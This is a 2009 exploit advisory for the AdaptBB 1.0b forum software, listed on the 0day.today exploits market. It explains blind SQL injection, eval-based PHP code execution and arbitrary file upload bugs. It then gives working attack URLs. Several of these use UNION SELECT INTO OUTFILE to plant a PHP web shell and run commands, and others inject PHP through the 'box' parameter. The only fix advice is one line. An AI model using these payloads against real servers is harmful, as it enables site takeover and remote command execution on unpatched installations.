[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

AdaptBB 1.0b Multiple Remote Vulnerabilities

Author
drosophila
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5012
Category
web applications
Date add
08-04-2009
Platform
unsorted
============================================
AdaptBB 1.0b Multiple Remote Vulnerabilities
============================================


*******   Salvatore "drosophila" Fresta   *******

[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/

[+] Bugs: [A] Multiple Blind SQL Injection
          [B] Multiple Dynamic Code Execution
          [C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta

*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are 
vulnerable

This bug allows a guest to execute arbitrary SQL
queries.


- [B] Multiple Dynamic Code Execution

[-] Risk: hight
[-] File affected: almost all of the files are 
vulnerable

This bug allows a guest to execute arbitrary php
code.

...

if ($_GET['box']) {
$folder = $_GET['box'];
}

...

$ddata[] = ucwords($folder);

...

eval (" ?> ".str_replace($cdata, $ddata, stripslashes(template($view."_header")))." <?php ");

...


- [C] Arbitrary File Upload

[-] Risk: hight
[-] File affected: attach.php

This bug allows a registered user to upload 
arbitrary files and to execute them from 
inc/attachments directory. This is possible 
because there are no controls on file extension 
on the server side but only on the client side. 


*************************************************

[+] Code


- [A] Multiple Blind SQL Injection

http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

To execute commands:

http://site/path/rce.php?cmd=uname -a


- [B] Multiple Dynamic Code Execution

http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>

http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>


*************************************************

[+] Fix

To fix them you must check the input properly.
However is not recommended to store your real 
username and password in the cookies.


*************************************************



#  0day.today [2024-12-25]  #